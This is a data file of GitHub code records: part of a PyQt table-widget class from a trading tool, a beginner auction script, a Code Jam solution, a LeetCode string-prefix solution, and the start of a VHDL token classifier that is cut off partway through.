\"\"\"\n 快速设置Item的值\n string值将会保持原始格式\n \"\"\"\n assert value is None or isinstance(value, float) or isinstance(value, int) or isinstance(value, str), 'type(value) is {0}'.format(type(value))\n\n # set data\n if isinstance(value, float):\n if not np.isnan(value):\n if self._floatCut:\n value = self._floatRoundFormat%value\n else:\n value = None\n\n item.setData(self._role, value)\n\n def _newItemByRowKey(self, rowKey, col, value):\n if rowKey in self._itemsMap:\n row = self._itemsMap[rowKey][0].row()\n else:\n row = self.rowCount()\n\n if isinstance(col, str):\n col = self._getColPosWithCreation(col)\n\n # now we take it by positions\n item = self._updateItemByPos(row, col, value)\n\n # update to items map\n self._updateItemsMap(rowKey, col, item)\n\n def _updateItemByRowKey(self, rowKey, col, value):\n\n isExistingItem = False\n\n if rowKey in self._itemsMap:\n if isinstance(col, str):\n colPos = self._getColPos(col)\n else:\n colPos = col\n\n if colPos is not None:\n if colPos < len(self._itemsMap[rowKey]):\n if self._itemsMap[rowKey][colPos] is not None: # item existing\n self._setItemData(self._itemsMap[rowKey][colPos], value)\n\n isExistingItem = True\n\n if not isExistingItem:\n self._newItemByRowKey(rowKey, col, value)\n\n def _updateItemByPos(self, row, col, value):\n # get item if existing\n item = self.item(row, col)\n\n # new item\n if item is None:\n # enlarge\n rowCount = self.rowCount()\n colCount = self.columnCount()\n\n if row >= rowCount:\n self.setRowCount(row + 1)\n\n if col >= colCount:\n self.setColumnCount(col + 1)\n\n # add new item\n item = DyTableWidgetItem(self._role)\n self.setItem(row, col, item)\n\n # Should call @setItem firstly, then set data\n self._setItemData(item, value)\n\n return item\n \n def _update(self, indices, value):\n \"\"\"\n Update one row by @indices is row key or row position, @value is [x, x, x, ...]\n or one item by @indices is (row key or row position, column name or column position), @value is x.\n position is from 0.\n \"\"\"\n if isinstance(indices, tuple):\n row, col = indices\n else:\n row, col = indices, None # add one row\n\n # update Org.\n if self.__index:\n if isinstance(row, str): # row key\n if row not in self._itemsMap: # first updating\n self._updateItem(row, 0, self.rowCount() + 1)\n else:\n if not self.item(row, 0): # first updating\n self._updateItem(row, 0, row + 1) # value is row No. from 1\n \n offset = 1 # offset for column\n else:\n offset = 0 # offset for column\n\n if col is None: # row\n for col, v in enumerate(value, offset):\n self._updateItem(row, col, v)\n else: # one item\n self._updateItem(row, (col + offset) if isinstance(col, int) else col, value)\n\n def __setitem__(self, indices, value):\n \"\"\" add one row like obj[x] = [v,v,..]\n add one like obj[x,y] = v\n \"\"\"\n self.setSortingEnabled(False)\n\n self._update(indices, value)\n\n self.resizeColumnsToContents()\n self.resizeRowsToContents()\n\n self.setSortingEnabled(True)\n\n def addColNames(self, names):\n\n colStart = self.columnCount()\n self.setColumnCount(colStart + len(names))\n\n for col, name in enumerate(names, colStart):\n\n colItem = self.horizontalHeaderItem(col)\n if colItem is None:\n colItem = QTableWidgetItem(col)\n self.setHorizontalHeaderItem(col, colItem)\n\n colItem.setText(name)\n\n #self.resizeColumnsToContents()\n\n def hasIndex(self):\n return self.__index\n\n def addColName(self, col, name):\n\n if self.__index:\n col += 1\n\n if col >= self.columnCount():\n self.setColumnCount(col + 1)\n\n colItem = self.horizontalHeaderItem(col)\n if colItem is None:\n colItem = QTableWidgetItem(col)\n self.setHorizontalHeaderItem(col, colItem)\n\n colItem.setText(name)\n #self.resizeColumnsToContents()\n\n def setHeaderForeground(self, color):\n \"\"\"\n 只能设置整个header\n http://stackoverflow.com/questions/36196988/color-individual-horizontal-headers-of-qtablewidget-in-pyqt\n @color: string, like 'red'\n \"\"\"\n self.horizontalHeader().setStyleSheet('color:' + color)\n\n def setColName(self, col, name):\n\n if self.__index:\n col += 1\n\n colItem = self.horizontalHeaderItem(col)\n\n if colItem:\n colItem.setText(name)\n self.resizeColumnsToContents()\n\n def setColNames(self, names=None):\n \"\"\" @names:[name1, name2] \"\"\"\n\n if names is None:\n return\n\n if self.__index:\n newNames = ['Org.'] + names\n else:\n newNames = names\n\n self.setColumnCount(len(newNames))\n\n self.setHorizontalHeaderLabels(newNames)\n self.resizeColumnsToContents()\n\n def setItemForeground(self, row, col, color):\n if self.__index: col += 1\n\n try:\n self.item(row, col).setForeground(color)\n except Exception as ex:\n pass\n\n def setItemBackground(self, row, col, color):\n if self.__index: col += 1\n\n try:\n self.item(row, col).setBackground(color)\n except Exception as ex:\n pass\n\n def setRowForeground(self, row, color):\n try:\n colCount = self.columnCount()\n\n start, end = (1, colCount) if self.__index else (0, colCount)\n\n for col in range(start, end):\n self.item(row, col).setForeground(color)\n except Exception as ex:\n pass\n\n def setRowBackground(self, row, color):\n try:\n colCount = self.columnCount()\n\n start, end = (1, colCount) if self.__index else (0, colCount)\n\n for col in range(start, end):\n self.item(row, col).setBackground(color)\n except Exception as ex:\n pass\n\n def append(self, rows, header=None, autoForegroundColName=None):\n \"\"\" @rows: [[x,x,x],[x,x,x],...]\n @header: [x,x,x]\n \"\"\"\n self.setSortingEnabled(False)\n\n if header:\n self.setColNames(header)\n\n if autoForegroundColName:\n self.setAutoForegroundCol(autoForegroundColName)\n\n rowCount = self.rowCount()\n\n self.setRowCount(rowCount + len(rows))\n \n for rowIndex, rowData in enumerate(rows, rowCount):\n self._update(rowIndex, rowData)\n\n self.resizeColumnsToContents()\n self.resizeRowsToContents()\n\n self.setSortingEnabled(True)\n\n def appendRow(self, row, new=False, disableSorting=True):\n \"\"\"\n @row: [x,x,x]\n @return: row position of added row(starting from 0)\n \"\"\"\n if disableSorting:\n self.setSortingEnabled(False)\n\n if new:\n self.clearAllRows()\n\n rowCount = self.rowCount()\n self._update(rowCount, row)\n\n self.resizeColumnsToContents()\n self.resizeRowsToContents()\n\n if disableSorting:\n self.setSortingEnabled(True)\n\n return rowCount\n\n def setAutoForegroundCol(self, colName):\n self._autoForegroundCol = self._getColPos(colName)\n\n def getAutoForegroundColName(self):\n if self._autoForegroundCol is None:\n return None\n\n autoForegroundCol = self._autoForegroundCol - 1 if self.__index else self._autoForegroundCol\n\n return self.getColName(autoForegroundCol)\n\n def _autoScrollAct(self):\n self._enableAutoScroll = not self._enableAutoScroll\n\n if self._enableAutoScroll:\n self._autoScrollAction.setText('关闭自动滚动')\n else:\n self._autoScrollAction.setText('开启自动滚动')\n\n def _visibleMarkAct(self):\n if self._markedItem is not None:\n self.scrollToItem(self._markedItem)\n\n def _isInHighlight(self, item):\n row = item.row()\n\n for highlightedItems in self._highlightedItems:\n if highlightedItems[0].row() == row:\n return True\n\n return False\n\n def _setMark(self):\n row = self._markedItem.row()\n\n markBg = QColor(Qt.yellow)\n self.setRowBackground(row, markBg)\n\n for col in range(self.columnCount()):\n if self.__index and col == 0:\n self._markedItemsOriginalForeground.append(None)\n continue\n\n item = self.item(row, col)\n fg = item.foreground().color()\n \n # only change qdarkstyle default foreground\n if fg == QColor(0, 0, 0) or fg == QColor(192, 192, 192):\n item.setForeground(QColor(0, 0, 0))\n\n # for qdarkstyle default foreground\n if fg == QColor(0, 0, 0):\n fg = QColor(192, 192, 192)\n\n # save\n self._markedItemsOriginalForeground.append(fg)\n\n def _setHighlight(self, item):\n row = item.row()\n\n highlightedItemsForeground = []\n highlightedItemsBackground = []\n self._highlightedItems.append([item, highlightedItemsForeground, highlightedItemsBackground])\n for col in range(self.columnCount()):\n if self.__index and col == 0:\n highlightedItemsForeground.append(None)\n highlightedItemsBackground.append(None)\n continue\n\n item = self.item(row, col)\n fg = item.foreground().color()\n bg = item.background()\n \n # only change qdarkstyle default foreground\n if fg == QColor(0, 0, 0) or fg == QColor(192, 192, 192):\n item.setForeground(QColor(0, 0, 0))\n\n # for qdarkstyle default foreground\n if fg == QColor(0, 0, 0):\n fg = QColor(192, 192, 192)\n\n item.setBackground(self.highlightBackground)\n\n # save\n highlightedItemsForeground.append(fg)\n highlightedItemsBackground.append(bg)\n\n def _resetMark(self):\n row = self._markedItem.row()\n self.setRowBackground(row, self._markedItemOriginalBackground)\n\n for col in range(self.columnCount()):\n if self.__index and col == 0:\n continue\n\n item = self.item(row, col)\n # 如果标记后添加列,可能会导致超出\n if col < len(self._markedItemsOriginalForeground):\n item.setForeground(self._markedItemsOriginalForeground[col])\n\n def _resetHighlight(self, highlightItem):\n row = highlightItem[0].row()\n\n for col in range(self.columnCount()):\n if self.__index and col == 0:\n continue\n\n item = self.item(row, col)\n # 如果标记后添加列,可能会导致超出\n if col < len(highlightItem[1]):\n item.setForeground(highlightItem[1][col])\n\n # 如果标记后添加列,可能会导致超出\n if col < len(highlightItem[2]):\n item.setBackground(highlightItem[2][col])\n\n def markByData(self, colName, itemData):\n \"\"\"\n @colName: 指定item所在的列名\n @itemData: item的数据\n \"\"\"\n col = self._getColPos(colName)\n if col is None:\n return\n\n for row in range(self.rowCount()):\n if self[row, col] == itemData:\n item = self.item(row, col)\n self._mark(item)\n break\n\n def _highlightSameItemContent(self, item, clearHightlight=True):\n \"\"\"\n @clearHightlight: 是否清除先前的高亮\n \"\"\"\n if item is None:\n return\n\n if clearHightlight:\n self._clearHighlight()\n\n text = item.text()\n col = item.column()\n for row in range(self.rowCount()):\n item = self.item(row, col)\n if item.text() == text:\n self._highlight(item, withCancel=False)\n \n def _highlight(self, item, withCancel=True):\n \"\"\"\n @withCancel: True-对已经高亮的item高亮,则清除该高亮\n \"\"\"\n if item is None:\n return\n\n row = item.row()\n\n if self._markedItem is not None and self._markedItem.row() == row:\n return\n \n # 取消鼠标所在行的高亮\n cancelHighlight = False\n for i, highlightedItem in enumerate(self._highlightedItems):\n if highlightedItem[0].row() == row: # 已经高亮过了\n if not withCancel:\n return\n\n self._resetHighlight(highlightedItem)\n cancelHighlight = True\n break\n\n if cancelHighlight:\n del self._highlightedItems[i]\n return\n\n # highlight\n self._setHighlight(item)\n\n def _mark(self, item):\n if item is None:\n return\n\n if self._isInHighlight(item):\n return\n \n # 取消鼠标所在行的标记\n if self._markedItem is not None and self._markedItem.row() == item.row():\n self._resetMark()\n \n self._markedItem = None\n self._markedItemsOriginalForeground = []\n return\n\n # unmark previous\n if self._markedItem is not None:\n self._resetMark()\n\n self._markedItem = None\n self._markedItemsOriginalForeground = []\n\n # save for new mark\n self._markedItemOriginalBackground = item.background()\n self._markedItem = item\n \n self._setMark()\n\n def _markAct(self):\n item = self.itemAt(self._rightClickPoint)\n \n self._mark(item)\n\n def _highlightAct(self):\n item = self.itemAt(self._rightClickPoint)\n \n self._highlight(item)\n\n def _highlightSameItemContentAct(self):\n item = self.itemAt(self._rightClickPoint)\n\n clearAction, notClearAction = self._highlightSameItemContentActions\n if notClearAction.isChecked():\n notClearAction.setChecked(False)\n clearHighlight = False\n\n else:\n clearAction.setChecked(False)\n clearHighlight = True\n \n self._highlightSameItemContent(item, clearHighlight)\n\n def _initItemMenu(self):\n \"\"\" 初始化Item右键菜单 \"\"\"\n\n self._itemMenu = QMenu(self)\n\n self._tableCountAction = QAction('', self)\n self._itemMenu.addAction(self._tableCountAction)\n\n self._itemMenu.addSeparator()\n \n self._autoScrollAction = QAction('关闭自动滚动' if self._enableAutoScroll else '开启自动滚动', self)\n self._autoScrollAction.triggered.connect(self._autoScrollAct)\n self._itemMenu.addAction(self._autoScrollAction)\n\n self._markAction = QAction('标记', self)\n self._markAction.triggered.connect(self._markAct)\n self._itemMenu.addAction(self._markAction)\n\n self._visibleMarkAction = QAction('定位到标记', self)\n self._visibleMarkAction.triggered.connect(self._visibleMarkAct)\n self._itemMenu.addAction(self._visibleMarkAction)\n\n # item只有一种状态,要不是标记,要不就是高亮\n self._highlightAction = QAction('高亮', self)\n self._highlightAction.triggered.connect(self._highlightAct)\n self._itemMenu.addAction(self._highlightAction)\n\n # 高亮所有同列相同内容的item\n menu = self._itemMenu.addMenu('高亮同列相同内容的表项')\n self._highlightSameItemContentActions = [QAction('清除先前高亮', self), QAction('保留先前高亮', self)]\n for action in self._highlightSameItemContentActions:\n action.triggered.connect(self._highlightSameItemContentAct)\n action.setCheckable(True)\n\n menu.addAction(action)\n\n action = QAction('查找...', self)\n action.triggered.connect(self._findAct)\n self._itemMenu.addAction(action)\n\n def _findAct(self):\n data = {}\n if DySingleEditDlg(data, '查找', '要查找的内容').exec_():\n text = str(data['data'])\n \n self._findItems = self.findItems(text, Qt.MatchContains)\n self._curFindItemPos = 0\n\n if self._findItems:\n self.scrollToItem(self._findItems[self._curFindItemPos])\n self.setCurrentItem(self._findItems[self._curFindItemPos])\n else:\n QMessageBox.warning(self, '警告', '没有找到要查找的内容!')\n\n def keyPressEvent(self, event):\n if event.key() == Qt.Key_F3:\n if not self._findItems:\n QMessageBox.warning(self, '警告', '没有找到要查找的内容!')\n return\n\n self._curFindItemPos += 1\n self._curFindItemPos = self._curFindItemPos%len(self._findItems)\n\n self.scrollToItem(self._findItems[self._curFindItemPos])\n self.setCurrentItem(self._findItems[self._curFindItemPos])\n\n def contextMenuEvent(self, event):\n \"\"\" Item右键点击事件 \"\"\"\n self._rightClickPoint = event.pos()\n item = self.itemAt(self._rightClickPoint)\n\n self._tableCountAction.setText('行: {0}, 列: {1}'.format(self.rowCount(), self.columnCount()))\n\n if item is None:\n self._markAction.setEnabled(False)\n self._highlightAction.setEnabled(False)\n \n else:\n itemState = 0 # 0: not marked or highlighted, 1: marked, 2: highlighted\n\n if self._markedItem is not None and self._markedItem.row() == item.row():\n itemState = 1\n else:\n for highlightedItem in self._highlightedItems:\n if highlightedItem[0].row() == item.row():\n itemState = 2\n\n if itemState == 0:\n self._markAction.setText('标记')\n self._markAction.setEnabled(True)\n self._highlightAction.setText('高亮')\n self._highlightAction.setEnabled(True)\n\n elif itemState == 1:\n self._markAction.setText('取消标记')\n self._markAction.setEnabled(True)\n self._highlightAction.setEnabled(False)\n\n else:\n self._highlightAction.setText('取消高亮')\n self._highlightAction.setEnabled(True)\n\n self._markAction.setEnabled(False)\n\n # at last, set visible mark action\n if self._markedItem is not None:\n self._visibleMarkAction.setText('定位标记')\n self._visibleMarkAction.setEnabled(True)\n else:\n self._visibleMarkAction.setEnabled(False)\n\n self._itemMenu.popup(QCursor.pos())\n\n def removeRow(self, row):\n \"\"\" remove row, which can be by index or key \"\"\"\n\n self.setSortingEnabled(False)\n\n if isinstance(row, int): # remove by index\n\n # find item in map\n delRowKey = None\n for rowKey, items in self._itemsMap.items():\n if items[0].row() == row:\n delRowKey = rowKey\n break\n\n # remove from map\n if delRowKey is not None:\n del self._itemsMap[delRowKey]\n\n # remove from table widget\n super().removeRow(row)\n\n else: # remove by key\n\n # remove from map\n if row in self._itemsMap:\n delRow = self._itemsMap[row][0].row()\n\n del self._itemsMap[row]\n\n # remove from table widget\n super().removeRow(delRow)\n\n self.setSortingEnabled(True)\n\n def removeAll(self):\n\n rowCount = self.rowCount()\n\n for _ in range(rowCount):\n self.removeRow(0)\n\n def getAll(self):\n \"\"\" 以列表方式返回table的所有值,Org.列除外 \"\"\"\n\n tableItems = []\n for row in range(self.rowCount()):\n rowItems = []\n\n colCount = (self.columnCount() - 1) if self.__index else self.columnCount()\n for col in range(colCount):\n rowItems.append(self[row, col])\n\n tableItems.append(rowItems)\n\n return tableItems\n\n def getHighlights(self):\n \"\"\" 以列表方式返回table所有高亮的值,Org.列除外 \"\"\"\n\n # get sorted highlighed rows\n highlightedRows = [item[0].row() for item in self._highlightedItems]\n highlightedRows.sort()\n\n tableItems = []\n for row in highlightedRows:\n rowItems = []\n\n colCount = (self.columnCount() - 1) if self.__index else self.columnCount()\n for col in range(colCount):\n rowItems.append(self[row, col])\n\n tableItems.append(rowItems)\n\n return tableItems\n\n def toDataFrame(self):\n colNames = self.getColNames()\n rows = self.getAll()\n\n df = pd.DataFrame(rows, columns=colNames)\n\n return df\n\n def getColNames(self):\n colNames = []\n for col in range(self.columnCount()):\n headerItem = self.horizontalHeaderItem(col)\n colName = headerItem.text()\n if colName == 'Org.':\n continue\n\n colNames.append(colName)\n\n return colNames if colNames else None\n\n def getColName(self, col):\n if self.__index:\n col += 1\n\n headerItem = self.horizontalHeaderItem(col)\n if headerItem:\n return headerItem.text()\n\n return None\n \n def getColumnsData(self, colNames):\n \"\"\" 以列表方式返回指定列名的所有值\n @colNames: [colName]\n @return: [[data]]\n \"\"\"\n # get postions of column names\n colPos = [self._getColPos(x) for x in colNames]\n colPos = [((x - 1) if self.__index else x) for x in colPos]\n\n tableItems = []\n for row in range(self.rowCount()):\n rowItems = []\n\n for col in colPos:\n rowItems.append(self[row, col])\n\n tableItems.append(rowItems)\n\n return tableItems\n\n def appendColumns(self, columnNames, columnsData):\n \"\"\"\n @columnNames: [column name]\n @columnsData: [[column data]]\n \"\"\"\n self.setSortingEnabled(False)\n\n # adjust start column postion for appended columns\n colStart = (self.columnCount() - 1) if self.__index else self.columnCount()\n\n # append column names\n for col, name in enumerate(columnNames, colStart):\n self.addColName(col, name)\n\n # append columns data\n for row, rowData in enumerate(columnsData):\n for col, data in enumerate(rowData, colStart):\n self._update((row, col), data)\n\n self.resizeColumnsToContents()\n self.resizeRowsToContents()\n\n # 重新设置标记\n self._renewMark()\n\n # 重新设置高亮\n self._renewHighlight()\n\n self.setSortingEnabled(True)\n\n def _updateAutoForegroundColForeground(self, row):\n item = self.item(row, self._autoForegroundCol)\n if item is None: return\n\n try:\n value = float(item.data(self._role))\n except Exception as ex:\n value = 0 # if referenced item doesn't have value or not number, think it as default 0.\n\n if value > 0:\n color = Qt.red\n elif value < 0:\n color = Qt.darkGreen\n else:\n if item.background() == Qt.white: # for qdarkstyle\n color = Qt.black\n else:\n color = QColor('#C0C0C0')\n\n item.setForeground(color)\n\n def updateAutoForegroundCol(self, colAbs):\n \"\"\"\n @colAbs: 更新自动前景色关键列,包含'Org.' column\n \"\"\"\n if isinstance(colAbs, str):\n self._autoForegroundCol = self._getColPos(colAbs)\n else:\n self._autoForegroundCol = colAbs\n\n if self._autoForegroundCol is None: return\n\n for row in range(self.rowCount()):\n # upate foreground of auto foreground column item\n self._updateAutoForegroundColForeground(row)\n\n refItem = self.item(row, self._autoForegroundCol)\n if refItem is None: continue\n\n for col in range(self.columnCount()):\n if self.__index and col == 0: # ignore 'Org.' column\n continue\n\n item = self.item(row, col)\n if item is None: continue\n\n item.setForeground(refItem.foreground())\n\n def getForegroundOverride(self, value):\n \"\"\"\n 可由子类重载,这样可以根据不同的值设置不同的前景色\n \"\"\"\n try:\n value = float(value)\n\n if value > 0:\n color = Qt.red\n elif value < 0:\n color = Qt.darkGreen\n else:\n color = None # default\n\n except Exception as ex:\n color = None\n\n return color\n\n def _getForeground(self, rowData, autoForegroundCol, item):\n\n # 如果@rowData的item个数小于等于@autoForegroundCol\n # 支持row数据比header少的状况\n try:\n value = rowData[autoForegroundCol]\n\n color = self.getForegroundOverride(value)\n except Exception as ex:\n color = None\n \n if color is None:\n if item.background() == Qt.white:\n color = Qt.black\n\n else: # for qdarkstyle\n color = QColor(192, 192, 192)\n \n return color\n\n def _updateOrg(self, row):\n if not self.__index: return\n\n item = self.item(row, 0)\n if item is None:\n item = DyTableWidgetItem(self._role)\n self.setItem(row, 0, item)\n\n item.setData(self._role, row + 1)\n\n def clearAllRows(self):\n self._clearVisualEffects()\n\n self.setRowCount(0)\n self._initRows()\n\n def fastAppendRows(self, rows, autoForegroundColName=None, new=False):\n \"\"\"\n 快速批量添加行数据,忽略细节\n 调用之前,必须先设置header\n @new: 新建还是添加\n \"\"\"\n self.setSortingEnabled(False)\n\n if new:\n self._clearVisualEffects()\n\n self.setRowCount(len(rows))\n rowStart = 0\n\n self._initRows()\n else:\n rowStart = self.rowCount()\n self.setRowCount(rowStart + len(rows))\n\n if autoForegroundColName is not None:\n self._autoForegroundCol = self._getColPos(autoForegroundColName)\n\n # column position in input raw data(@rows)\n if self._autoForegroundCol is not None:\n autoForegroundCol = self._autoForegroundCol - 1 if self.__index else self._autoForegroundCol\n\n offset = 1 if self.__index else 0\n item = None\n for row, rowData in enumerate(rows, rowStart):\n self._updateOrg(row)\n\n for col, value in enumerate(rowData, offset):\n # create new if not existing\n item = self.item(row, col)\n if item is None:\n item = DyTableWidgetItem(self._role)\n self.setItem(row, col, item)\n\n # set item data\n self._setItemDataFast(item, value)\n\n # set foreground\n if autoForegroundColName is not None and self._autoForegroundCol is not None:\n if col == offset: # only get auto foreground when begining of row\n color = self._getForeground(rowData, autoForegroundCol, item)\n\n item.setForeground(color)\n \n self.resizeColumnsToContents()\n self.resizeRowsToContents()\n\n self.setSortingEnabled(True)\n\n if self._enableAutoScroll and item is not None:\n self.scrollToItem(item)\n\n def fastAppendColumns(self, columnNames, columnsData):\n \"\"\"\n 快速批量添加列数据,忽略细节\n @columnNames: [column name]\n @columnsData: [[column data]]\n \"\"\"\n self.setSortingEnabled(False)\n\n # adjust start column postion for appended columns\n colStart = self.columnCount()\n\n # append column names\n self.addColNames(columnNames)\n\n # append columns data\n for row, rowData in enumerate(columnsData):\n for col, value in enumerate(rowData, colStart):\n # create new if not existing\n item = self.item(row, col)\n if item is None:\n item = DyTableWidgetItem(self._role)\n self.setItem(row, col, item)\n\n # set item data\n self._setItemDataFast(item, value)\n\n # get item of auto foreground\n if self._autoForegroundCol is None: continue\n refItem = self.item(row, self._autoForegroundCol)\n if not refItem: continue\n\n # set forground same as reference item\n item.setForeground(refItem.foreground())\n\n self.resizeColumnsToContents()\n self.resizeRowsToContents()\n\n # 重新设置标记\n self._renewMark()\n\n # 重新设置高亮\n self._renewHighlight()\n\n self.setSortingEnabled(True)\n\n def _renewMark(self):\n \"\"\"\n 重新设置标记\n \"\"\"\n markedItem = self._markedItem\n\n # 先取消标记\n self._mark(markedItem)\n\n # 设置标记\n self._mark(markedItem)\n\n def _renewHighlight(self):\n \"\"\"\n 重新设置高亮\n \"\"\"\n # reproduce highlighed items because during cancel highlight procedure element will be deleted from @self._highlightedItems\n highlightedItems = [item[0] for item in self._highlightedItems]\n\n for item in highlightedItems:\n # 先取消高亮\n self._highlight(item)\n\n # 设置高亮\n self._highlight(item)\n\n def setItemsForeground(self, rowKeys, colors):\n \"\"\"\n @rowKeys: [rowKey] or [row number]\n @colors: ((text, color)) or [[text, color]]\n \"\"\"\n for key in rowKeys:\n for col in range(self.columnCount()):\n\n item = self._getItem(key, col)\n if item is None: continue\n\n itemData = item.data(self._role)\n for text, color in colors:\n if isinstance(itemData, str) and text in itemData:\n item.setForeground(color)\n break\n\n def filter(self, filter, highlight=False):\n \"\"\"\n 根据filter表达式选取行数据,filter表达式是对列进行操作。对应的列为x[0], x[1], ...\n @return: 过滤出来的数据列表\n \"\"\"\n # 取消高亮\n self._clearHighlight()\n\n tableItems = []\n for row in range(self.rowCount()):\n rowItems = []\n\n colCount = (self.columnCount() - 1) if self.__index else self.columnCount()\n for col in range(colCount):\n rowItems.append(self[row, col])\n\n # execute filter\n try:\n x = rowItems\n if not eval(filter): # some of elements are None\n continue\n except Exception as ex:\n continue\n\n if highlight:\n self._highlight(self.item(row, col))\n\n tableItems.append(rowItems)\n\n return tableItems\n\n def org(self, row):\n if self.__index:\n return self[row, 'Org.']\n\n return None\n\n def addColumnOperateColumns(self, exp):\n \"\"\"\n 根据exp表达式进行列运算(类似于Pandas),并添加列到table widget\n x代表table widget对应的DataFrame\n \"\"\"\n newColumnData = []\n for row in range(self.rowCount()):\n rowItems = []\n\n colCount = (self.columnCount() - 1) if self.__index else self.columnCount()\n for col in range(colCount):\n rowItems.append(self[row, col])\n\n # execute exp\n x = rowItems\n try:\n value = eval(exp)\n except:\n value = None\n\n newColumnData.append([value])\n\n # get column name\n x = self.getColNames()\n try:\n p = re.compile('x\\[\\d+\\]')\n elements = p.findall(exp)\n\n elements_ = []\n for v in elements:\n elements_.append('[' + eval(v) + ']')\n\n expFormat = p.sub('{}', exp)\n\n newColumnName = expFormat.format(*elements_)\n except:\n newColumnName = exp\n\n # add columns into table widget\n self.fastAppendColumns([newColumnName], newColumnData)","repo_name":"MicroEngine/DevilYuan","sub_path":"DyCommon/Ui/DyTableWidget.py","file_name":"DyTableWidget.py","file_ext":"py","file_size_in_byte":40916,"program_lang":"python","lang":"en","doc_type":"code","stars":222,"dataset":"github-code","pt":"61"} +{"seq_id":"21811573314","text":"next_person = True\nwhile next_person:\n bidders = {}\n name = input('What is your name?')\n bid = float(input('What is your bid?'))\n bidders[name] = bid\n other_bidders = input(\"Are there other users who want to bid?\")\n if other_bidders == 'yes':\n continue\n else:\n next_person= False\n highest_bidder = \"\"\n highest_bid = 0\n for i in bidders:\n\n if bidders[i] > highest_bid:\n highest_bid = bidders[i]\n highest_bidder = i \n print(f\"Winner is {highest_bidder} at ${highest_bid}.\")\n\n\n ","repo_name":"StockJanitor/Udemy_Python100","sub_path":"2_auction/auction.py","file_name":"auction.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23601720021","text":"\"\"\"\r\nGoogle Code Jam 2010\r\nQualification Round\r\nChallenge: A. Snapper Chain\r\n\r\nBy Marcel Rodrigues\r\n\r\nCode for Python 2.x\r\n\"\"\"\r\n\r\nfilename = \"A-large\"\r\n\r\ninpath = filename + \".in\"\r\noutpath = filename + \".out\"\r\n\r\ninfile = open(inpath, \"r\")\r\noutfile = open(outpath, \"w\")\r\n\r\ndef light(N, K):\r\n p = 1 << N\r\n return K % p == p - 1\r\n\r\nncases = int(infile.readline().rstrip())\r\n\r\nfor case in range(ncases):\r\n N, K = infile.readline().rstrip().split()\r\n N, K = int(N), int(K)\r\n state = \"ON\" if light(N, K) else \"OFF\"\r\n outfile.write(\"Case #%d: %s\\n\" % (case + 1, state))\r\n\r\ninfile.close()\r\noutfile.close()\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_53/723.py","file_name":"723.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72565337474","text":"'''\n\nDescription:\n\nWrite a function to find the longest common prefix string amongst an array of strings.\n\nIf there is no common prefix, return an empty string \"\".\n\nExample 1:\n\nInput: [\"flower\",\"flow\",\"flight\"]\nOutput: \"fl\"\nExample 2:\n\nInput: [\"dog\",\"racecar\",\"car\"]\nOutput: \"\"\nExplanation: There is no common prefix among the input strings.\n\n'''\n\n\nclass Solution:\n def longestCommonPrefix(self, strs) -> str:\n \n # corner case handling\n if len(strs) == 0:\n return \"\"\n \n # to memorize longest common prefix\n longest_common_prefix = str()\n \n \n # get the shortest string among those strings in input strs\n shortest_string = min( strs, key = len )\n \n # check if other string has common prefix with shortest string\n for i in range( len(shortest_string) ):\n \n if all( string[i]==shortest_string[i] for string in strs ):\n # match one common character\n # update longest common prefix\n longest_common_prefix += shortest_string[i]\n \n else:\n # no match anymore\n # leave for loop\n break\n \n \n return longest_common_prefix\n\n# N : total number of strings in input list\n# S : the shortest length among all input strings, is constant\n\n# Time complexity\n# O( NS ) \n# Each for loop take O(1) character comparison\n# If statesments take O(N) iterations\n# for loop iterates O(S) times totaly\n\n# To sum up, time complexoty = O( 1 * N * S ) = O( NS ) = O ( N )\n\n\n # Space complexity\n # O( S ) for saving the longest common prefix (at most equalt to shortest string on best chance)\n # It is O( 1 ) in general\n\n\ndef test_bench():\n\n test_strings_1 = [\"flower\", \"flow\", \"flight\"]\n test_strings_2 = [\"meow\", \"moo\", \"bark\"]\n\n output_1 = Solution().longestCommonPrefix( test_strings_1 )\n print( output_1 )\n\n output_2 = Solution().longestCommonPrefix( test_strings_2 )\n print( output_2 )\n\n # expected output\n # Note: \n # the second output is \"\", empty string, \n # because \"meow\", \"moo\", and \"bark\" have no common sequence at all.\n '''\n fl\n\n '''\n\n\nif __name__ == \"__main__\":\n\n test_bench()","repo_name":"brianchiang-tw/leetcode","sub_path":"No_0014_Longest Common Prefix/longest_common_prefix.py","file_name":"longest_common_prefix.py","file_ext":"py","file_size_in_byte":2276,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"61"} +{"seq_id":"35864111801","text":"class Solution:\n def canMakeSubsequence(self, str1: str, str2: str) -> bool:\n if len(str1) < len(str2):\n return False\n\n i, j = 0, 0\n t = 0\n\n while i < len(str1) and j < len(str2):\n cond = False\n\n if str1[i] == 'z' and str2[j] == 'a':\n cond = True\n\n if ord(str1[i]) + 1 == ord(str2[j]):\n cond = True\n\n if (str1[i] == str2[j]) or cond:\n t += 1\n j += 1\n\n i += 1\n\n return t == len(str2)\n","repo_name":"pbelskiy/contest","sub_path":"leetcode.com/2825_make_string_a_subsequence_using_cyclic_increments/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"22956937723","text":"\nfrom vsg.token import procedure_call as token\n\nfrom vsg.vhdlFile import utils\n\nfrom vsg.vhdlFile.classify import actual_parameter_part\n\n\nlExceptions = ['<=', 'end', 'map', 'component', 'entity', 'configuration', 'if']\n\n\ndef detect(iToken, lObjects):\n '''\n Calling functions:\n\n concurrent_procedure_call_statement ::=\n [ label : ] [ postponed ] procedure_call ;\n\n procedure_call_statement ::=\n [ label : ] procedure_call ;\n\n --------------------------\n\n procedure_call ::=\n *procedure*_name [ ( actual_parameter_part ) ]\n\n Differentiating a procedure call from anything else is essentially the absence of keywords.\n '''\n\n iCurrent = iToken\n\n while lObjects[iCurrent].get_value() != ';':\n if utils.is_item(lObjects, iCurrent):\n if lObjects[iCurrent].get_value().lower() in lExceptions:\n return False\n iCurrent += 1\n\n return True\n\n\ndef classify(iToken, lObjects):\n '''\n procedure_call ::=\n *procedure*_name [ ( actual_parameter_part ) ]\n '''\n\n iCurrent = utils.assign_next_token(token.procedure_name, iToken, lObjects)\n\n if utils.is_next_token('(', iToken, 